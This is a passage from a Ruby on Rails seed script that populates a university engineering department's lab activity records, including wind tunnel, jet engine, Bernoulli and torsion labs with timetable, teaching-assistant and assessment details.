assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a102.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a102.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a103 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC6424\").first.id, code: \"307\").first_or_create!(name: \"Performance of wings\",\n name_abrv: \"Wing\", archived: false, in_drive: true, user_id: 1)\n at103 = ActivityTimetable.where(activity_id: a103.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a103.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a103.id).first_or_create!(criteria: \"An understanding of lift and drag calculations and the theory of wing sections would be helpful, but full training will be given on the use of the flight simulators.\",\n job_desc:\"This laboratory class uses the Merlin flight simulators to model the performance of an aircraft with different wing sections. Students perform a study of the effect of different wing profiles and aspect ratios on the performance of the given aircraft. A standard aircraft is provided for the students work, they then use equations given in their lecture course to select a different wing profile and a different aspect ratio, and model the lift and drag performance of each wing. Once they have the data for their wing sections, they will attend the lab and modify the provided aircraft model to test the performance of the wings. As GTA you will assist the students in the use of the Merlin flight simulators, enabling them to change the wings and also perform a limited test flight (straight and level at 1000ft and 100knots). Once the flight test is performed for each wing combination the students will take their data and analyse the results to determine if their predictions were correct. You may be required to assist students in the interpretation of their data, but there will be no marking associated with the laboratory class.\", jobshop_desc: \"GTA in MEE, the Diamond: Propulsion/Flight Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a103.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a103.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a103.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a104 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 5)\n at104 = ActivityTimetable.where(activity_id: a104.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a104.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a104.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a104.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a104.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a104.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a105 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"308\").first_or_create!(name: \"Torsion of Rods\",\n name_abrv: \"TORSION\", archived: false, in_drive: true, user_id: 4)\n at105 = ActivityTimetable.where(activity_id: a105.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a105.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a105.id).first_or_create!(criteria: \"A knowledge of mechanical performance of materials is therefore required.\",\n job_desc:\"In this lab students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a105.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a105.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a105.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a106 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER302\").first.id, code: \"unknowncode1\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: false, in_drive: true, user_id: 5)\n at106 = ActivityTimetable.where(activity_id: a106.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"PUPS\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a106.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a106.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a106.id).first_or_create!(assess_weight: nil, notes: \"During - 3 build reviews, post - 1 flight review, operations manual & financial report, poster presentation & self assessment\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: 8)\n ActivityTech.where(activity_id: a106.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a106.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a107 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER385\").first.id, code: \"309\").first_or_create!(name: \"UAV project\",\n name_abrv: \"AERBUILD\", archived: true, in_drive: true, user_id: 4)\n at107 = ActivityTimetable.where(activity_id: a107.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a107.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a107.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a107.id).first_or_create!(assess_weight: nil, notes: \"During, 2 reports and 1 presentation\n This is a semester long module with 3 assessment points in the course of the semester.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a107.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a107.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a108 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC205\").first.id, code: \"310\").first_or_create!(name: \"Jet engine strip down\",\n name_abrv: \"JETSTRIP\", archived: false, in_drive: true, user_id: 3)\n at108 = ActivityTimetable.where(activity_id: a108.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a108.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a108.id).first_or_create!(criteria: \"You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine. You should have: knowledge of materials, manufacturing methods, or thermodynamics of jet engines in order to help the students understand the operation of the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a108.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a108.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a108.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a109 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER298\").first.id, code: \"311\").first_or_create!(name: \"Jet Engine Dismantling\",\n name_abrv: \"DISMANTLING\", archived: false, in_drive: true, user_id: 1)\n at109 = ActivityTimetable.where(activity_id: a109.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a109.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a109.id).first_or_create!(criteria: \"A knowledge of materials, manufacturing methods, or thermodynamics of jet engines would also be desirable in order to help the students understand the operation of the engine.\",\n job_desc:\"In this lab, students dismantle a jet engine and analyse the parts, considering their operation and manufacturing methods. Mechanical skills are desirable, in order to help the students to deconstruct and reconstruct the engine.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a109.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a109.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a109.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a110 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"312\").first_or_create!(name: \"JETLAB\",\n name_abrv: \"JETLAB\", archived: false, in_drive: true, user_id: 3)\n at110 = ActivityTimetable.where(activity_id: a110.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a110.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a110.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"In this lab, students operate a small jet engine and take thermodynamic measurements so that they can perform calculations of engine efficiency.\", jobshop_desc: \"GTA in MEE, the Diamond: Flight/Propulsion Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a110.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a110.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a110.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a111 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 2)\n at111 = ActivityTimetable.where(activity_id: a111.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a111.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a111.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a111.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a111.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a111.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a112 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: false, user_id: 5)\n at112 = ActivityTimetable.where(activity_id: a112.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a112.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybncc97l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a112.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a112.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a112.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a112.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a113 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 1)\n at113 = ActivityTimetable.where(activity_id: a113.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"For all of civ104: \n The plan next year is complete hydrostatic forces by the end of week 5, buoyance and metacenters by the end of week 6, any Bernoulli related lectures by end of week 8, we will start the momentum lectures in week 9, but will not have completed these by week 10, but the students have a field trip in week 11, so I think doing the impact of jets lab in week 10 shoul;d be fine.\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a113.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybmcc5xt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a113.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a113.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a113.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a113.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a114 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"401\").first_or_create!(name: \"Bernoulli Principle\",\n name_abrv: \"BERNOULLI\", archived: false, in_drive: true, user_id: 4)\n at114 = ActivityTimetable.where(activity_id: a114.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a114.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a114.id).first_or_create!(criteria: \"Basic understanding of the Bernoulli equation applied to civil engineering\",\n job_desc:\"Use a Venturi meter to see how pressure head drops by dynamic head increases. The Cd of the Venturi meter can be found.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a114.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a114.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a114.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a115 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 4)\n at115 = ActivityTimetable.where(activity_id: a115.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a115.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yasyk22s\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a115.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a115.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a115.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a115.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a116 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: false, user_id: 2)\n at116 = ActivityTimetable.where(activity_id: a116.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a116.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a116.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a116.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a116.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a116.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a117 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"402\").first_or_create!(name: \"Calibration of a Wind Tunnel\",\n name_abrv: \"WINDTUNNEL\", archived: false, in_drive: true, user_id: 3)\n at117 = ActivityTimetable.where(activity_id: a117.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a117.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycwo32oq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a117.id).first_or_create!(criteria: \"Understanding of Bernoulli principle and boundary layer theory.\",\n job_desc:\"Students traverses a pitot tube across the working section of a wind tunnel and, with t digital pressure gauge, determine the boundary layer thickness.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a117.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a117.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a117.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a118 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4750\").first.id, code: \"403\").first_or_create!(name: \"Coastal Engineering\",\n name_abrv: \"COASTAL\", archived: false, in_drive: true, user_id: 5)\n at118 = ActivityTimetable.where(activity_id: a118.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a118.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/zrtczgr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a118.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a118.id).first_or_create!(assess_weight: nil, notes: \"Not our teaching - belongs to department\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a118.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a118.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a119 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"404\").first_or_create!(name: \"Custard Run\",\n name_abrv: \"CUSTARD\", archived: true, in_drive: true, user_id: 4)\n at119 = ActivityTimetable.where(activity_id: a119.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 240, takedown_time: 360, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a119.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydy8uc9z\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a119.id).first_or_create!(criteria: \"Manual handling training.\",\n job_desc:\"Helping with the setup and running of the session. Students will be walking quickly over a Non-newtonian cornflour mixture in the lab. Students will need guiding across the pool. A lot of mixing and cleanup help will also be required.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a119.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a119.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a119.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a120 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode2\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: true, in_drive: true, user_id: 1)\n at120 = ActivityTimetable.where(activity_id: a120.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a120.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a120.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a120.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a120.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a120.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a121 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: true, in_drive: true, user_id: 1)\n at121 = ActivityTimetable.where(activity_id: a121.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 